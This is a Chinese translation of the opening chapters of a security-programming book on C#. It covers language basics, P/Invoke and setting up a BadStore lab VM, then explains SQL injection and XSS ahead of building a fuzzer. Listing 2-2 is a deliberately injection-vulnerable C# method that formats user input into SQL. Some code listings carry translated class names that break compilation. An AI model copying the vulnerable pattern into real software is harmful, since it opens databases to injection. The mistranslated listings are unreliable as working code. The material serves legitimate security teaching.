C--灰帽子编程-全-
C# 灰帽子编程(全)
原文:
zh.annas-archive.org/md5/d979a7126042a78069aa28ed26a41a3a译者:飞龙
第一章
1
C#快速入门

与其他语言(如 Ruby、Python 和 Perl)不同,C#程序默认可以在所有现代 Windows 机器上运行。此外,在 Linux 系统(如 Ubuntu、Fedora 或其他发行版)上运行用 C#编写的程序也非常简单,特别是因为 Mono 可以通过大多数 Linux 包管理器(如 apt 或 yum)迅速安装。这使得 C#在满足跨平台需求方面比大多数语言更具优势,而且标准库简单而强大,随时可用。总的来说,C#和 Mono/.NET 库为任何想快速轻松编写跨平台工具的人提供了一个有力的框架。
选择 IDE
大多数想学习 C#的人会使用像 Visual Studio 这样的集成开发环境(IDE)来编写和编译他们的代码。由微软开发的 Visual Studio 是全球 C#开发的事实标准。微软提供了如 Visual Studio Community Edition 这样的免费版本,供个人使用,可以从微软官网 www.visualstudio.com/downloads/ 下载。
在本书的开发过程中,我根据自己是在 Ubuntu 还是 OS X 上,分别使用了 MonoDevelop 和 Xamarin Studio。在 Ubuntu 上,你可以通过 apt 包管理器轻松安装 MonoDevelop。MonoDevelop 由 Xamarin 公司维护,Xamarin 也是 Mono 的维护方。要安装它,可以使用以下命令:$ sudo apt-get install monodevelop。Xamarin Studio 是 OS X 版的 MonoDevelop IDE。Xamarin Studio 和 MonoDevelop 具有相同的功能,只是用户界面略有不同。你可以从 Xamarin 官网 www.xamarin.com/download-it/ 下载 Xamarin Studio IDE 的安装程序。
这三种 IDE 中的任何一个都能满足本书的需求。事实上,如果你只想使用 vim,你甚至不需要 IDE!我们还会很快介绍如何使用 Mono 自带的命令行 C#编译器,而不是 IDE,来编译一个简单的示例。
一个简单的示例
对于任何使用过 C 或 Java 的人来说,C#的语法会显得非常熟悉。C#是一种强类型语言,像 C 和 Java 一样,这意味着你在代码中声明的变量只能是一个类型(例如整数、字符串或 Dog 类),并且无论如何,它始终是那个类型。让我们先快速看一下列表 1-1 中的 Hello World 示例,它展示了一些基本的 C#类型和语法。
using ➊System;
namespace ➋ch1_hello_world
{
class ➌MainClass
{
public static void ➍Main(string[] ➎args)
{
➏ string hello = "Hello World!";
➐ DateTime now = DateTime.Now;
➑ Console.Write(hello);
➒ Console.WriteLine(" The date is " + now.ToLongDateString());
}
}
}
列表 1-1:一个基本的 Hello World 应用程序
一开始,我们需要导入将要使用的命名空间,我们通过使用 using 语句来实现这一点,导入 System 命名空间 ➊。这使得我们可以访问程序中的库,类似于 C 中的#include,Java 和 Python 中的 import,Ruby 和 Perl 中的 require。在声明了要使用的库之后,我们声明我们的类所在的命名空间 ➋。
与 C(和旧版本的 Perl)不同,C#是一种面向对象的语言,类似于 Ruby、Python 和 Java。这意味着我们可以构建复杂的类来表示数据结构,并为这些数据结构编写相应的方法,同时编写代码。命名空间让我们可以组织类和代码,避免潜在的命名冲突,比如当两个程序员创建了同名的两个类时。如果两个同名类位于不同的命名空间中,就不会有问题。每个类都必须有一个命名空间。
在处理完命名空间之后,我们可以声明一个类 ➌,该类将包含我们的 Main()方法 ➍。正如我们之前所说,类允许我们创建复杂的数据类型以及更适合现实世界对象的数据结构。在这个例子中,类的名称实际上并不重要;它只是我们 Main()方法的容器,Main()方法才是关键,因为它是当我们运行示例应用程序时会执行的部分。每个 C#应用程序都需要一个 Main()方法,就像 C 和 Java 一样。如果你的 C#应用程序接受命令行参数,你可以使用 args 变量 ➎ 来访问传递给应用程序的参数。
C#中存在简单的数据结构,如字符串 ➏,也可以创建更复杂的数据结构,如表示日期和时间的类 ➐。DateTime 类是处理日期的核心 C#类。在我们的示例中,我们使用它来存储当前日期和时间(DateTime.Now)到变量 now 中。最后,在声明了我们的变量之后,我们可以使用 Console 类的 Write() ➑和 WriteLine() ➒方法打印友好的信息(后者在末尾包含换行符)。
如果你使用的是 IDE,你可以通过点击运行按钮来编译并运行代码,该按钮位于 IDE 的左上角,看起来像一个播放按钮,或者按下 F5 键。不过,如果你希望通过命令行使用 Mono 编译器来编译源代码,你也可以轻松实现。在包含 C#类代码的目录中,使用 Mono 附带的 mcs 工具将你的类编译成可执行文件,如下所示:$ mcs Main.cs -out:ch1_hello_world.exe 从清单 1-1 中运行代码应该会打印出"Hello World!"字符串和当前日期在同一行,如清单 1-2 所示。在某些 Unix 系统中,你可能需要运行 mono ch1_hello_world.exe。
$ ./ch1_hello_world.exe
你好,世界!今天是 2017 年 6 月 28 日,星期三。
清单 1-2:运行 Hello World 应用程序
恭喜你完成了第一个 C#应用程序!
介绍类和接口
类和接口用于创建复杂的数据结构,这些结构仅凭内建结构难以表示。类和接口可以具有属性,属性是用于获取或设置类或接口值的变量;也可以具有方法,方法类似于函数,在类(或子类)或接口上执行,并且是唯一的。属性和方法用于表示对象的数据。例如,Firefighter 类可能需要一个 int 类型的属性来表示消防员的养老金,或者一个方法来指示消防员开车到发生火灾的地方。
类可以作为蓝图来创建其他类,这种技术叫做子类化。当一个类继承另一个类时,它会继承该类的属性和方法(称为父类)。接口也用作新类的蓝图,但与类不同,它们没有继承。因此,如果一个基类实现了一个接口,当它被子类化时,不会传递接口的属性和方法。
创建一个类
我们将创建一个简单的类,如列表 1-3 所示,作为一个例子,表示一个每天为让我们的生活变得更轻松、更美好而工作的公务员数据结构。
public ➊abstract class PublicServant
{
public int ➋PensionAmount { get; set; }
public abstract void ➌DriveToPlaceOfInterest();
}
列表 1-3: 公务员抽象类
PublicServant 类是一种特殊类型的类。它是一个抽象类 ➊。通常,您可以像创建任何其他类型的变量一样创建一个类,它被称为实例或对象。然而,抽象类不能像其他类一样被实例化;它们只能通过子类化来继承。公共服务人员有很多类型——消防员和警察是我立刻想到的两个类型。因此,拥有一个基类供这两种公共服务人员继承是合理的。在这种情况下,如果这两个类是 PublicServant 的子类,它们将继承一个 PensionAmount 属性 ➋和一个 DriveToPlaceOfInterest 委托 ➌,这些必须由 PublicServant 的子类实现。没有一个通用的“公务员”职位可以申请,因此没有理由仅创建一个 PublicServant 实例。
创建接口
在 C#中,接口是类的补充。接口允许程序员强制一个类实现某些不被继承的属性或方法。让我们从一个简单的接口开始,如列表 1-4 所示。这个接口叫做 IPerson,将声明一些人们通常拥有的属性。
public interface ➊IPerson
{
string ➋Name { get; set; }
int ➌Age { get; set; }
}
列表 1-4: IPerson 接口
注意
C# 中的接口通常以 I 为前缀,以区分可能实现它们的类。这个 I 并不是强制要求的,但它是主流 C# 开发中非常常见的模式。
如果一个类要实现 IPerson 接口 ➊,该类需要自己实现 Name ➋ 和 Age ➌ 属性。否则,代码将无法编译。我将在接下来实现 Firefighter 类时准确展示这意味着什么,Firefighter 类实现了 IPerson 接口。目前,您只需知道接口是 C# 中一个重要且有用的功能。熟悉 Java 的程序员会觉得它们非常自然。C 程序员可以将其视为包含函数声明的头文件,期望 .c 文件来实现函数。熟悉 Perl、Ruby 或 Python 的人可能会觉得接口最初有些奇怪,因为这些语言没有类似的功能。
从抽象类继承并实现接口
让我们将 PublicServant 类和 IPerson 接口应用于实际场景,巩固我们所讨论的一些内容。我们可以创建一个类来表示我们的消防员,该类继承自 PublicServant 类并实现 IPerson 接口,如 示例 1-5 所示。
public class ➊Firefighter : ➋PublicServant, ➌IPerson
{
public ➍Firefighter(string name, int age)
{
this.Name = name;
this.Age = age;
}
// 实现 IPerson 接口
public string ➎Name { get; set; }
public int ➏Age { get; set; }
public override void ➐DriveToPlaceOfInterest()
{
GetInFiretruck();
TurnOnSiren();
FollowDirections();
}
private void GetInFiretruck() {}
private void TurnOnSiren() {}
private void FollowDirections() {}
}
示例 1-5:Firefighter 类
Firefighter 类 ➊ 比我们之前实现的任何东西都要复杂一些。首先,注意 Firefighter 类继承自 PublicServant 类 ➋,并实现了 IPerson 接口 ➌。通过在 Firefighter 类名和冒号后列出类和接口,并用逗号分隔,我们实现了这一点。然后,我们创建了一个新的构造函数 ➍,它用于在创建新类实例时设置类的属性。这个新的构造函数将接受消防员的姓名和年龄作为参数,这些值将设置 IPerson 接口所需的 Name ➎ 和 Age ➏ 属性。接着,我们重写了从 PublicServant 类继承的 DriveToPlaceOfInterest() 方法 ➐,并定义了我们自己的一些空方法。我们需要实现 DriveToPlaceOfInterest() 方法,因为它在 PublicServant 类中被标记为抽象方法,抽象方法必须由子类进行重写。
注意
类具有默认构造函数,该构造函数没有参数用于创建实例。创建新的构造函数实际上是覆盖了默认构造函数。
PublicServant 类和 IPerson 接口非常灵活,可以用来创建功能完全不同的类。我们将再实现一个类,警察类,如 示例 1-6 所示,使用 PublicServant 和 IPerson。
public class ➊警察 : PublicServant, IPerson
{
private bool _hasEmergency;
public PoliceOfficer(string name, int age)
{
this.Name = name;
this.Age = age;
_hasEmergency = ➋false;
}
//实现 IPerson 接口
public string Name { get; set; }
public int Age { get; set; }
public bool ➌HasEmergency
{
get { return _hasEmergency; }
set { _hasEmergency = value; }
}
public override void ➍DriveToPlaceOfInterest()
{
GetInPoliceCar();
if (this.➎HasEmergency)
TurnOnSiren();
FollowDirections();
}
private void GetInPoliceCar() {}
private void TurnOnSiren() {}
private void FollowDirections() {}
}
示例 1-6:警察类
警察类 ➊ 与消防员类相似,但有一些不同之处。最显著的区别是,在构造函数 ➋ 中设置了一个名为 HasEmergency ➌ 的新属性。我们还重写了 DriveToPlaceOfInterest() 方法 ➍,与之前的消防员类类似,但这次我们使用 HasEmergency 属性 ➎ 来判断警察是否应该开启警车警笛。我们可以使用相同的父类和接口组合来创建具有完全不同功能的类。
使用 Main() 方法将一切连接起来
我们可以使用新类来测试 C# 的一些新特性。让我们编写一个新的 Main() 方法来展示这些新类,参考 示例 1-7。
using System;
namespace ch1_the_basics
{
public class MainClass
{
public static void Main(string[] args)
{
Firefighter firefighter = new ➊Firefighter("Joe Carrington", 35);
firefighter.➋PensionAmount = 5000;
PrintNameAndAge(firefighter);
PrintPensionAmount(firefighter);
firefighter.DriveToPlaceOfInterest();
PoliceOfficer officer = new PoliceOfficer("Jane Hope", 32);
officer.PensionAmount = 5500;
officer.➌HasEmergency = true;
➍PrintNameAndAge(officer);
PrintPensionAmount(officer);
officer.➎DriveToPlaceOfInterest();
}
static void PrintNameAndAge(➏IPerson person)
{
Console.WriteLine("姓名: " + person.Name);
Console.WriteLine("年龄: " + person.Age);
}
static void PrintPensionAmount(➐PublicServant servant)
{
if (servant is ➑消防员)
Console.WriteLine("消防员养老金: " + servant.PensionAmount);
else if (servant is ➒警察)
Console.WriteLine("警察养老金: " + servant.PensionAmount);
}
}
}
示例 1-7:通过 Main() 方法将警察类和消防员类连接起来
要使用警察类和消防员类,我们必须使用我们在各自类中定义的构造函数来实例化它们。我们首先用消防员类 ➊,将姓名乔·卡灵顿和年龄 35 传递给类的构造函数,并将新类分配给消防员变量。我们还将消防员的 PensionAmount 属性 ➋ 设置为 5000。设置好消防员之后,我们将对象传递给 PrintNameAndAge() 和 PrintPension() 方法。
请注意,PrintNameAndAge() 方法接受 IPerson 接口 ➏ 作为参数,而不是 Firefighter、PoliceOfficer 或 PublicServant 类。当一个类实现了某个接口时,你可以创建接受该接口(在我们的例子中是 IPerson)作为参数的方法。如果将 IPerson 传递给方法,那么该方法只能访问接口要求的属性或方法,而不是整个类。在我们的例子中,只有 Name 和 Age 属性是可用的,这正是我们在该方法中所需要的。
类似地,PrintPensionAmount() 方法接受 PublicServant ➐ 作为参数,因此它只能访问 PublicServant 的属性和方法。我们可以使用 C# 的 is 关键字来检查一个对象是否属于某种类型的类,因此我们用它来检查我们的公务员是消防员 ➑ 还是警察 ➒,并根据实际情况打印相应的消息。
我们对警察类做了与对消防员类相同的处理,创建了一个名为简·霍普、年龄为 32 岁的新类;然后将她的养老金设置为 5500,HasEmergency 属性 ➌ 设置为 true。在打印姓名、年龄和养老金 ➍ 之后,我们调用该官员的 DriveToPlaceOfInterest() 方法 ➎。
运行 Main() 方法
运行该应用程序应展示类和方法如何相互作用,如列表 1-8 所示。
$ ./ch1_the_basics.exe
姓名:乔·卡灵顿
年龄:35
消防员养老金:5000
姓名:简·霍普
年龄:32
官员养老金:5500
列表 1-8:运行基础程序的 Main() 方法
如你所见,公务员的姓名、年龄和养老金已经打印到屏幕上,完全符合预期!
匿名方法
到目前为止,我们使用的方法都是类方法,但我们也可以使用匿名方法。C#的这个强大功能允许我们通过委托动态地传递和分配方法。通过委托,会创建一个委托对象,它持有将被调用的方法的引用。我们在父类中创建这个委托,然后将委托的引用分配给父类子类中的匿名方法。这样,我们可以动态地将子类中的一段代码分配给委托,而不是覆盖父类的方法。为了演示如何使用委托和匿名方法,我们可以基于已经创建的类进行构建。
将委托分配给方法
让我们更新 PublicServant 类,以便使用 delegate 来替代方法 DriveToPlaceOfInterest(),如 Listing 1-9 所示。
public abstract class PublicServant
{
public int PensionAmount { get; set; }
public delegate void ➊DriveToPlaceOfInterestDelegate();
public DriveToPlaceOfInterestDelegate ➋DriveToPlaceOfInterest { get; set; }
}
Listing 1-9: 带有 delegate 的 PublicServant 类
在之前的 PublicServant 类中,如果我们想要修改 DriveToPlaceOfInterest() 方法,需要覆盖它。而在新的 PublicServant 类中,DriveToPlaceOfInterest() 被一个 delegate ➊和一个属性 ➋所替代,允许我们调用和分配 DriveToPlaceOfInterest()。现在,任何继承自 PublicServant 类的类,都将拥有一个 delegate,可以用来设置自己的匿名方法来替代每个类中需要覆盖的该方法。因为它们继承自 PublicServant,所以我们需要相应地更新 Firefighter 和 PoliceOfficer 类的构造函数。
更新 Firefighter 类
我们首先更新 Firefighter 类,增加新的 delegate 属性。构造函数,如 Listing 1-10 所示,是我们所做的唯一修改。
public ➊Firefighter(string name, int age)
{
this.➋Name = name;
this.➌Age = age;
this.DriveToPlaceOfInterest ➍+= delegate
{
Console.WriteLine("驾驶消防车");
GetInFiretruck();
TurnOnSiren();
FollowDirections();
};
}
Listing 1-10: 使用 delegate 来实现 DriveToPlaceOfInterest() 方法的 Firefighter 类
在新的 Firefighter 类构造函数 ➊ 中,我们像之前一样分配 Name ➋ 和 Age ➌。接下来,我们创建匿名方法并将其分配给 DriveToPlaceOfInterest delegate 属性,使用 += 操作符 ➍,这样调用 DriveToPlaceOfInterest() 时会调用该匿名方法。这个匿名方法打印 "驾驶消防车" 然后运行原类中的空方法。这样,我们可以在类中的每个方法中添加自定义代码,而不必覆盖它。
创建可选参数
PoliceOfficer 类需要类似的修改;我们更新构造函数,如 Listing 1-11 所示。因为我们已经在更新这个类,我们还可以将其修改为使用可选参数,即构造函数中的一个参数,在创建新实例时可以不包含它。我们将创建两个匿名方法,并使用可选参数来决定将哪个方法分配给 delegate。
public ➊PoliceOfficer(string name, int age, bool ➋hasEmergency = false)
{
this.➌Name = name;
this.➍Age = age;
this.➎HasEmergency = hasEmergency;
if (this.➏HasEmergency)
{
this.DriveToPlaceOfInterest += delegate
{
Console.WriteLine("驾驶警车,开启警报");
GetInPoliceCar();
TurnOnSiren();
FollowDirections();
};
} else
{
this.DriveToPlaceOfInterest += delegate
{
Console.WriteLine("驾驶警车");
GetInPoliceCar();
FollowDirections();
};
}
}
列表 1-11:新的 PoliceOfficer 构造函数
在新的 PoliceOfficer 构造函数 ➊ 中,我们像之前一样设置了姓名 ➌ 和年龄 ➍ 属性。然而,这次我们还使用了一个可选的第三个参数 ➋ 来分配 HasEmergency 属性 ➎。第三个参数是可选的,因为它不需要被指定;当构造函数仅提供前两个参数时,它的默认值为 false。然后,我们根据 HasEmergency 是否为 true ➏,用一个新的匿名方法设置 DriveToPlaceOfInterest 委托属性。
更新 Main() 方法
使用新的构造函数,我们可以运行几乎与第一次相同的更新版 Main() 方法。详细内容见 列表 1-12。
public static void Main(string[] args)
{
Firefighter firefighter = new Firefighter("Joe Carrington", 35);
firefighter.PensionAmount = 5000;
PrintNameAndAge(firefighter);
PrintPensionAmount(firefighter);
firefighter.DriveToPlaceOfInterest();
PoliceOfficer officer = new ➊PoliceOfficer("Jane Hope", 32);
officer.PensionAmount = 5500;
PrintNameAndAge(officer);
PrintPensionAmount(officer);
officer.DriveToPlaceOfInterest();
officer = new ➋PoliceOfficer("John Valor", 32, true);
PrintNameAndAge(officer);
officer.➌DriveToPlaceOfInterest();
}
列表 1-12:使用我们带有委托的类来驾驶到兴趣地点的更新 Main() 方法
唯一的不同在于最后三行,展示了如何创建一个新的有紧急情况的 PoliceOfficer ➋(构造函数的第三个参数为 true),与没有紧急情况的 Jane Hope ➊ 进行对比。然后我们调用 John Valor 警员的 DriveToPlaceOfInterest() 方法 ➌。
运行更新后的 Main() 方法
运行新方法显示如何创建两个 PoliceOfficer 类——一个有紧急情况,另一个没有——会打印出不同的内容,如 列表 1-13 所示。
$ ./ch1_the_basics_advanced.exe
姓名:Joe Carrington
年龄:35
消防员养老金:5000
驾驶消防车
姓名:Jane Hope
年龄:32
警员养老金:5500
➊ 驾驶警车
姓名:John Valor
年龄:32
➋ 带警报器驾驶警车 列表 1-13:使用委托的类运行新的 Main() 方法
如你所见,创建一个带有紧急情况的 PoliceOfficer 类会导致警员打开警报器驾驶 ➋。而 Jane Hope 则可以不开警报器驾驶 ➊,因为她没有紧急情况。
与本地库集成
最后,有时你需要使用仅在标准操作系统库中可用的库,例如 Linux 上的 libc 和 Windows 上的 user32.dll。如果你计划使用一个用 C、C++或其他编译为本地汇编的语言编写的库中的代码,C#使得与这些本地库的工作变得非常容易,我们将在第四章中介绍如何在制作跨平台的 Metasploit 有效载荷时使用此技术。这个特性被称为平台调用,简称 P/Invoke。程序员经常需要使用本地库,因为它们比.NET 或 Java 使用的虚拟机要快。像金融或科学专业人士这样的程序员,通常需要编写快速的代码来进行重数学运算,他们可能会用 C 语言编写需要快速执行的代码(例如,直接与硬件接口的代码),但使用 C#来处理那些对速度要求不高的代码。
Listing 1-14 显示了一个简单的应用程序,使用 P/Invoke 在 Linux 中调用标准 C 函数 printf(),或者在 Windows 上使用 user32.dll 弹出消息框。
class MainClass
{
[➊DllImport("user32", CharSet=CharSet.Auto)]
static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
[DllImport("libc")]
static extern void printf(string message);
static void ➋Main(string[] args)
{
OperatingSystem os = Environment.OSVersion;
if (➌os.Platform == ➍PlatformID.Win32Windows||os.Platform == PlatformID.Win32NT)
{
➎MessageBox(IntPtr.Zero, "Hello world!", "Hello world!", 0);
} else
{
➏printf("Hello world!");
}
}
}
清单 1-14:通过一个简单的示例演示 P/Invoke
这个示例看起来比实际复杂。我们首先声明了两个函数,它们将在不同的库中被外部查找。我们使用 DllImport 特性➊来完成这一操作。特性允许你向方法(或类、类属性等)添加额外的信息,这些信息将在运行时被.NET 或 Mono 虚拟机使用。在我们的例子中,DllImport 特性告诉运行时查找我们声明的方法,这些方法位于另一个 DLL 中,而不是期望我们自己编写。
我们还声明了精确的函数名称以及函数所期望的参数。对于 Windows 系统,我们可以使用 MessageBox()函数,该函数需要一些参数,例如弹出框的标题和要显示的文本。对于 Linux 系统,printf()函数需要一个字符串来打印。这两个函数都会在运行时被查找,这意味着我们可以在任何系统上编译这个程序,因为外部库中的函数直到程序运行并被调用时才会被查找。这使我们能够在任何操作系统上编译应用程序,而不管该系统是否包含这两个库。
在声明了我们的本地函数后,我们可以编写一个简单的 Main() 方法 ➋,利用 if 语句和 os.Platform ➌ 来检查当前的操作系统。我们使用的 Platform 属性对应于 PlatformID 枚举 ➍,该枚举存储了程序可能运行的操作系统。通过使用 PlatformID 枚举,我们可以测试是否在 Windows 上运行,然后调用相应的方法:在 Windows 上调用 MessageBox() ➎,在 Unix 上调用 printf() ➏。编译后的这个应用程序可以在 Windows 机器或 Linux 机器上运行,无论是什么操作系统编译的。
结论
C# 语言拥有许多现代特性,使其成为处理复杂数据和应用程序的优秀语言。我们只触及了其中一些更强大的特性,如匿名方法和 P/Invoke。在接下来的章节中,你将深入了解类和接口的概念,以及许多其他高级特性。此外,你还将学习更多核心类的使用,如 HTTP 和 TCP 客户端等。
在本书中,我们将开发自己的自定义安全工具,同时你还将学习到通用的编程模式,这些是创建类的有用规范,能够使基于它们的开发变得更快捷和简单。编程模式的良好示例可以在 第五章 和 第十一章 中看到,在这些章节中,我们与第三方工具如 Nessus 和 Metasploit 的 API 和 RPC 进行了接口交互。
到本书结束时,我们将涵盖如何使用 C# 来完成每位安全从业人员的工作——从安全分析师到工程师,甚至是家庭中的业余研究人员。C# 是一门美丽且强大的语言,借助 Mono 的跨平台支持,将 C# 带到手机和嵌入式设备,它与 Java 及其他替代语言同样强大且易于使用。
第二章
2
模糊测试与利用 XSS 和 SQL 注入

在本章中,您将学会如何编写一个简短有效的跨站脚本(XSS)和 SQL 注入模糊测试工具,用于处理带有 GET 和 POST 请求 HTTP 参数的 URL。模糊测试工具是一种尝试通过发送错误或格式不正确的数据来找出其他软件(例如服务器软件)中的漏洞的工具。模糊测试工具一般分为两种类型:突变模糊测试工具和生成型模糊测试工具。突变模糊测试工具尝试在已知的良好输入中注入坏数据,不考虑协议或数据的结构。相比之下,生成型模糊测试工具会考虑服务器通信协议的细节,并利用这些细节生成技术上有效的数据并发送到服务器。对于这两种类型的模糊测试工具,目标是让服务器返回错误,从而让模糊测试工具发现漏洞。
我们将编写一个突变模糊测试工具,您可以在已知良好输入(如 URL 或 HTTP 请求)时使用。(我们将在第三章中编写一个生成型模糊测试工具。)一旦您能够使用模糊测试工具发现 XSS 和 SQL 注入漏洞,您将学会如何利用 SQL 注入漏洞从数据库中提取用户名和密码哈希。
为了发现和利用 XSS 和 SQL 注入漏洞,我们将使用核心 HTTP 库在 C# 中编程构建 HTTP 请求。我们将首先编写一个简单的模糊测试工具,它解析 URL 并开始使用 GET 和 POST 请求模糊测试 HTTP 参数。接下来,我们将开发针对 SQL 注入漏洞的完整利用工具,这些工具使用精心构造的 HTTP 请求从数据库中提取用户信息。
在本章中,我们将针对一个名为 BadStore 的小型 Linux 发行版测试我们的工具(可以在 VulnHub 网站上找到,www.vulnhub.com/)。BadStore 设计中包含了像 SQL 注入和 XSS 攻击等漏洞(还有许多其他漏洞)。从 VulnHub 下载 BadStore 的 ISO 文件后,我们将使用免费的 VirtualBox 虚拟化软件创建一个虚拟机,在其中启动 BadStore ISO,以便我们能够进行攻击,而不必担心危及主机系统的安全。
设置虚拟机
要在 Linux、Windows 或 OS X 上安装 VirtualBox,请从 www.virtualbox.org/ 下载 VirtualBox 软件。(安装过程应该很简单;只需按照网站上最新的指示操作即可。)虚拟机(VM)允许我们使用物理计算机模拟计算机系统。我们可以使用虚拟机轻松创建和管理易受攻击的软件系统(例如我们将在本书中使用的那些系统)。
添加仅主机虚拟网络
在实际设置虚拟机之前,您可能需要为虚拟机创建一个仅主机虚拟网络。仅主机网络允许虚拟机和主机系统之间的通信。以下是需要遵循的步骤:
-
点击“文件” ▸ “偏好设置”打开 VirtualBox – 偏好设置对话框。在 OS X 上,选择 VirtualBox ▸ “偏好设置”。
-
点击左侧的“网络”部分。你应该会看到两个选项卡:NAT 网络和仅主机网络。在 OS X 上,点击设置对话框顶部的“网络”选项卡。
-
点击“仅主机网络”选项卡,然后点击右侧的“添加仅主机网络(Ins)”按钮。这个按钮是一个叠加着加号的网卡图标。此时应该会创建一个名为 vboxnet0 的网络。
-
点击右侧的“编辑仅主机网络(空格)”按钮。这个按钮是一个螺丝刀的图标。
-
从弹出的对话框中,点击 DHCP 服务器选项卡。勾选“启用服务器”框。在服务器地址字段中,输入 IP 地址 192.168.56.2。在服务器掩码字段中,输入 255.255.255.0。在下限地址字段中,输入 192.168.56.100。在上限地址字段中,输入 192.168.56.199。
-
点击“确定”以保存对仅主机网络的更改。
-
再次点击“确定”以关闭设置对话框。
创建虚拟机
安装并配置好 VirtualBox 并设置了仅主机网络后,按照以下步骤设置虚拟机:
-
点击左上角的新建图标,如图 2-1 所示。
-
当弹出一个对话框询问选择操作系统名称和类型时,选择“其他 Linux(32 位)”下拉选项。
-
点击“继续”,你应该会看到一个屏幕,用于为虚拟机分配一些 RAM。将 RAM 设置为 512 MB,然后点击“继续”。(模糊测试和利用漏洞可能会让虚拟机上的 Web 服务器使用大量 RAM。)
-
当被要求创建一个新的虚拟硬盘时,选择“不添加虚拟硬盘”,然后点击“创建”。(我们将从 ISO 镜像运行 BadStore。)你现在应该会在 VirtualBox 管理器窗口的左侧窗格中看到虚拟机,如图 2-1 所示。
![]()
图 2-1:带有 BadStore 虚拟机的 VirtualBox
从 BadStore ISO 启动虚拟机
一旦虚拟机创建完成,按照以下步骤设置它从 BadStore ISO 启动:
-
在 VirtualBox 管理器的左侧窗格中右键点击虚拟机,点击“设置”。此时应弹出一个对话框,显示网络卡、光驱及其他杂项配置项的当前设置。
-
在设置对话框中选择“网络”选项卡。你应该会看到至少七个与网络卡相关的设置,包括 NAT(网络地址转换)、仅主机和桥接。选择仅主机网络,以分配一个仅主机机器可访问而无法从其他互联网设备访问的 IP 地址。
-
你需要在“高级”下拉菜单中将网络卡类型设置为较旧的芯片组,因为 BadStore 基于较旧的 Linux 内核,某些较新的芯片组不被支持。选择 PCnet-FAST III。
现在,按照以下步骤设置光驱从硬盘上的 ISO 启动:
-
在设置对话框中选择“存储”选项卡。点击 CD 图标,弹出一个菜单,其中包含“选择虚拟 CD/DVD 磁盘文件”选项。
-
点击“选择虚拟 CD/DVD 磁盘文件”选项,找到您保存在文件系统中的 BadStore ISO 并将其设置为可启动介质。虚拟机现在应该准备好启动。
-
通过点击设置选项卡右下角的 OK 按钮保存设置。然后点击 VirtualBox Manager 左上角的启动按钮,旁边是设置齿轮按钮,以启动虚拟机。
-
一旦机器启动,您应该看到一条消息,提示“请按 Enter 键激活此控制台。”按下回车键并输入 ifconfig 查看应该已获取的 IP 配置。
-
一旦您获得虚拟机的 IP 地址,输入该地址到您的网页浏览器中,您应该看到一个类似于 图 2-2 所示的屏幕。
![]()
图 2-2:BadStore Web 应用程序的主页
SQL 注入
在今天丰富的 Web 应用程序中,程序员需要能够在后台存储和查询信息,以提供高质量、健壮的用户体验。这通常通过使用结构化查询语言(SQL;发音为 sequel)数据库,如 MySQL、PostgreSQL 或 Microsoft SQL Server 来完成。
SQL 允许程序员通过 SQL 语句与数据库进行交互——这些代码指示数据库如何根据提供的信息或标准来创建、读取、更新或删除数据。例如,要求数据库返回托管数据库中的用户数量的 SELECT 语句可能如下所示 Listing 2-1。
SELECT COUNT(*) FROM USERS
Listing 2-1:示例 SQL SELECT 语句
有时程序员需要 SQL 语句是动态的(也就是说,根据用户与 Web 应用程序的交互而变化)。例如,程序员可能需要根据某个用户的 ID 或用户名从数据库中选择信息。
然而,当程序员使用来自不受信任客户端(如网页浏览器)提供的数据或值来构建 SQL 语句时,如果用于构建和执行 SQL 语句的值没有被正确清理,就可能引入 SQL 注入漏洞。例如, Listing 2-2 中显示的 C# SOAP 方法可能被用来将用户插入到托管在 Web 服务器上的数据库中。(SOAP,或简单对象访问协议,是一种由 XML 支持的 Web 技术,用于快速创建 Web 应用程序的 API。它在 C# 和 Java 等企业语言中非常流行。)[WebMethod]
public string AddUser(string username, string password)
{
NpgsqlConnection conn = new NpgsqlConnection(_connstr);
conn.Open();
string sql = "insert into users values('{0}', '{1}');";
➊sql = String.Format(sql, username, password);
NpgsqlCommand command = new NpgsqlCommand(sql, conn);
➋command.ExecuteNonQuery();
conn.Close();
return "Excellent!";
}
Listing 2-2:一个易受 SQL 注入攻击的 C# SOAP 方法
在这种情况下,程序员在创建 ➊ 和执行 ➋ SQL 字符串之前并未清理用户名和密码。因此,攻击者可以构造一个用户名或密码字符串,迫使数据库执行精心设计的 SQL 代码,目的是让他们远程执行命令并完全控制数据库。
如果你在某个参数中传递一个单引号(比如将 user'name 而不是 username 传递给参数),ExecuteNonQuery() 方法会尝试执行一个无效的 SQL 查询(如示例 2-3 所示)。接着,方法会抛出一个异常,该异常将在 HTTP 响应中显示,攻击者可以看到。
insert into users values('user'name', 'password'); 示例 2-3:由于未清理的用户提供数据,此 SQL 查询无效。
许多支持数据库访问的软件库通过参数化查询,允许程序员安全地使用由不信任的客户端(如网页浏览器)提供的值。这些库会自动清理传递给 SQL 查询的任何不信任的值,通过转义如撇号、括号以及 SQL 语法中使用的其他特殊字符来防止潜在的安全风险。参数化查询和其他类型的对象关系映射(ORM)库(如 NHibernate)有助于防止这些 SQL 注入问题。
像这样的用户提供值通常会在 SQL 查询的 WHERE 子句中使用,如示例 2-4 所示。
SELECT * FROM users WHERE user_id = '1'
示例 2-4:选择特定 user_id 的 SQL SELECT 语句
如示例 2-3 所示,在没有正确清理的情况下,将一个单引号放入 HTTP 参数中,且该参数被用来构建动态 SQL 查询,可能会导致网页应用程序抛出错误(例如 HTTP 返回码 500)。这是因为在 SQL 中,单引号表示字符串的开始或结束。单引号会通过提前结束字符串或在未结束字符串的情况下开始字符串,从而使语句无效。通过解析对该请求的 HTTP 响应,我们可以模糊测试这些网页应用程序,并搜索那些在篡改参数后,导致 SQL 错误的用户提供的 HTTP 参数。
跨站脚本攻击
与 SQL 注入类似,跨站脚本攻击(XSS)利用了代码中的漏洞,这些漏洞通常在程序员构建用于在网页浏览器中渲染的 HTML 时出现,数据是从网页浏览器传递到服务器的。有时候,来自不信任客户端(如网页浏览器)的数据可能包含 HTML 代码,如 JavaScript,从而允许攻击者通过窃取 cookies 或将用户重定向到恶意网站,可能会接管网站并执行未经清理的原始 HTML。
例如,一个允许评论的博客可能会发送包含评论表单数据的 HTTP 请求到网站的服务器。如果攻击者创建一个嵌入了 HTML 或 JavaScript 的恶意评论,并且博客软件信任并因此没有清理来自提交“评论”的网页浏览器的数据,攻击者就可以利用他们加载的攻击性评论用自己的 HTML 代码毁坏网站,或将博客的访客重定向到攻击者自己的网站。攻击者还可能在访客的计算机上安装恶意软件。
